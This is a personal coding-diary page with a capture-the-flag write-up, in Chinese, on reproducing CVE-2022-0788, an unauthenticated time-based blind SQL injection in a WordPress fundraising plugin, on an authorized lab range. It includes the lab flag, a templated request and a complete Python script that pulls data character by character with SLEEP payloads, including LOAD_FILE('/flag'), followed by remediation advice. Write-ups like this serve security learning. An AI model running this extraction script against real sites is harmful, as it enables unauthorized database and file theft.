三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

春秋云镜靶场漏洞复现:CVE-2022-0788 WP Fundraising REST SQL 注入

春秋云镜靶场漏洞复现:CVE-2022-0788 WP Fundraising REST SQL 注入

环境:春秋云境“免费空间”授权实验靶场。历史实例已关闭。

1. 基本信息

项目 内容
CVE CVE-2022-0788
产品 WP Fundraising Donation and Crowdfunding Platform 1.4.2
条件 未认证 REST 路由
漏洞类型 SQL 时间盲注
Flag flag{5c10e0b4-30eb-4d2c-907f-5647ec4cc7ba}

2. 原理与复现

插件 REST 路由接受 GET 请求体 JSON,并把其中的参数拼入 SQL。授权请求结构:

GET /<插件 REST 路由> HTTP/1.1
Host: <WordPress-靶场域名>
Content-Type: application/json{"<参数>":"<SLEEP 条件>"}

以响应延时判断 flag 表字符,循环得到:

flag{5c10e0b4-30eb-4d2c-907f-5647ec4cc7ba}

Python 爆破脚本(时间盲注)

仅对本题授权靶场使用。先按本文关键请求设置 URL、METHOD、LOCATION、FIELD、SOURCE、基础表单和 Cookie;SOURCE 使用本题已确认的 flag 表达式或 /flag 读取表达式。

import string
import time
import requestsURL = "https://<authorized-target>/<endpoint>"
METHOD = "POST"                 # GET 或 POST
LOCATION = "form"               # form、query 或 cookie
FIELD = "user_name"
SOURCE = "LOAD_FILE('/flag')"   # 或 (SELECT flag FROM ctf.flag LIMIT 1)
BASE_DATA = {"password": "<value>"}
BASE_COOKIES = {}
DELAY = 3.0
THRESHOLD = 2.0
MAX_LEN = 80
ALPHABET = string.ascii_letters + string.digits + "{}_@.-,:/"session = requests.Session()def send(payload):if LOCATION == "cookie":cookies = dict(BASE_COOKIES)cookies[FIELD] = payloadreturn session.request(METHOD, URL, cookies=cookies, timeout=DELAY + 5)if LOCATION == "query" or METHOD == "GET":return session.get(URL, params={FIELD: payload}, timeout=DELAY + 5)data = dict(BASE_DATA)data[FIELD] = payloadreturn session.post(URL, data=data, timeout=DELAY + 5)def extract_flag():result = ""for pos in range(1, MAX_LEN + 1):for ch in ALPHABET:code = ord(ch)payload = (f"' AND IF(ASCII(SUBSTRING({SOURCE},{pos},1))={code},"f"SLEEP({DELAY}),0)-- -")started = time.monotonic()send(payload)if time.monotonic() - started >= THRESHOLD:result += chprint(f"{pos:02d}: {result}", flush=True)breakelse:breakif result.endswith("}"):breakreturn resultif __name__ == "__main__":print("recovered:", extract_flag())

脚本逐位置遍历候选字符,条件为真时触发 SLEEP,并以超过 THRESHOLD 的耗时作为 oracle。运行前先用已知真假条件校准 DELAY/THRESHOLD,并把候选字符集限制在题目实际 Flag 格式内。

3. 修复建议与验证

为 REST 路由增加认证/权限校验,使用参数化查询并禁用详细 SQL 错误。Flag 与平台记录一致,已提交并关闭。原始路由、字段和阈值未保存,截图已保存到 images 目录并由平台详情页复核。

截图证据

题目详情与已攻克状态

题目状态与 Flag 验证区域

← 返回列表